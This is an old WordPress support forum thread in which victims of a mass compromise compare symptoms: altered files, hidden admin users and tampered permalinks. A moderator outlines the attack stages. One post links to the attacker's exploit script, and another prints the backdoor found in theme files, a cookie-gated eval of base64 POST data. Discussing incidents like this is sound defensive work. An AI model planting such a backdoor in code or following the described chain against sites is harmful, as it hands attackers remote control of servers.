WordPress.org

Ready to get started?Download WordPress

Forums

WP adding code to the end of url links breaking them (67 posts)

  1. oeswebmaster
    Member
    Posted 4 years ago #

    Background: I am an experienced webmaster but have not spent any time with my wordpress installation. My site was compromised over the long weekend, with a handful of files modified at three different times, and a "secret" admin installed at a fourth time.

    My registrations were absolutely disabled -- I needed to enable them to register a guest account so that I could then get the edit URL so then I could use the edit function on this intruder. Yet I had 5 successful registrations in the 4 days prior to being hacked, and none since.

    I had several files around the site that had malicious code inserted immediately following the opening PHP tags. I had a .htaccess file that redirected non-existent file requists to index.php changed to remove that code. I had an index.php file added.

    I had the "hidden" admin user, but I do not see any permalink code anywhere on my site. m The admin user did not have an email address associated with it in the database.

    The files modified were as follows:
    /.htaccess
    /wp-load.php
    /wp-admin/link-category.php
    /wp-content/index.php
    /wp-includes/class-wp-dependencies.php
    /wp-includes/index.php (added)

    I'm not sure what version of wp I'm running, but I am running WPAU and the dashboard is suggesting I upgrade to 2.8.4

    Since I don't seem to be affected by the permalink issue (and the wp blog on my site is dormant for all intents and purposes), I only caught this because I noticed changed files were about to be copied during my backup process.

  2. Ladadadada
    Member
    Posted 4 years ago #

    The exploit code ( http://links.webwordpress.cn/data/shortpart2.txt ) turns registrations off as the last thing it does so having to turn registration back on is no indication that it was off before the attack. The first thing it does is include 'wp-includes/registration.php' so it would seem that turning registration off would stop the attack... for now.

    However, once an attacker is running PHP code on your system, he can parse the config file for your database name and password and simply insert the appropriate rows himself. Turning registrations off is a temporary solution at best.

    This discussion: http://wordpress.org/support/topic/307518/page/2?replies=16#post-1199683 seems to indicate that the flaw is in xmlrpc.php and that disabling that file (by moving, removing, renaming or inserting exit() as the first line) will prevent the attack.

  3. oeswebmaster
    Member
    Posted 4 years ago #

    Thanks for the link.... I wonder what the "longpart" would be...

    I did find an issue with trackbacks after all, they were changed to "default" from name and date. I confirmed this by clicking a link sent to me a couple of months ago, it was broken, then I looked at the Google cache for the site and sure enough it was name and date style.

    The link you provided starts with that assumption (about xmlrpc) but 5 pages later it has wound up with the conclusion is it is a vulnerability in wordpress versions < the most current 2.8.4, allowing for registered subscribers to be able to access wp-admin functions. This allows the attacker to create funky permalinks which enable xmlrpc to execute the base64 encoded commands.

    Thanks again!

  4. Samuel Wood (Otto)
    Tech Ninja
    Posted 4 years ago #

    xmlrpc.php is not the initial entry point. It's simply the attack vector once the breach has already occurred.

    This is not unusual, xmlrpc.php is generally used as the attack vector in all WordPress attacks, because it's specifically designed to allow external posting and such, so after they have created a way in, everything they send after that will be through that file. It's easy to do, basically.

    The exploit I saw basically works like this:
    1. Hacker registers a new user.
    2. Using that, it exploits the privilege escalation bug (fixed in 2.8.3) to change the permalink to have that malicious string in it.
    3. That string allows them to execute arbitrary PHP code through a specially crafted HTTP request. This is used to create an administrator user.
    4. Files are uploaded using this admin user, and then executed using the PHP exploit.

    Once that happens, they're in. Actually, you got pwned at stage 2, because when they can execute arbitrary PHP code, it's all over, really.

    This is a several stage hack. Each stage appears to be executed at different times. Like the hacker was running each stage on a list of sites, eliminating the sites that failed to answer correctly each time. Thus it's a mass attack.

    Since this is an automated attack, there may be other, older, exploits being used as well but having the same end result. This is fairly common with hacker toolkits.

  5. robk30
    Member
    Posted 4 years ago #

    thanks for all the info - can someone please lay out the steps we should take if we were victim to this hack? i've already done most of the basic ones - changed permalink settings back to normal, deleted hidden admins, deleted strange files, etc. but what should i do next to stop the next phases of the attack?

  6. Samuel Wood (Otto)
    Tech Ninja
    Posted 4 years ago #

    robk30: Upgrade to 2.8.4. It's immune to this particular attack.

  7. elizabethrichardson
    Member
    Posted 4 years ago #

    My registrations were definitely DISABLED on 6 of the nine sites I've had compromised.

    Some of my issues are slightly different though.

    Common Symptoms

    - Seemingly Invisible Users have been added under different names such as adminq and variations of my own name even.

    - 404.php or archive.php was infected with a variation of this code:

    <?php if(md5($_COOKIE['7551e49fc1426cb6'])=="cad0b4d6fe5182acadbd16ad9ca20dcf"){ eval(base64_decode($_POST['file'])); exit; } ?><?php if(md5($_COOKIE['6b158221312fd99e'])=="fb0aee44273ac528dc95973fd307243d"){ eval(base64_decode($_POST['file'])); exit; } ?>

    I have deleted the users through phpmyadmin and removed the infected code that I found...then upgraded to 2.8.4.

    After UPGRADING, my worst infected website and it's 3 subdomains have now rendered an "Error establishing a database connection" even after restoring the backups from yesterday and last week. Somehow the password seems to have been reset both in the database and my cpanel. I'M WONDERING IF THE INFECTION IS SPREADING??? The hosting company had to restore my access to cpanel and I was forced to create a NEW USER to get the database operating again.

    Uncommon Symptom

    I don't seem to have the permalink issue, though one of my websites crashed when I tried to change the permalink structure. Restoring a backup worked in that case, but I've been too timid to try changing the structure again. I don't know where to look next for the infected code!!!

Topic Closed

This topic has been closed to new replies.

About this Topic

Tags

No tags yet.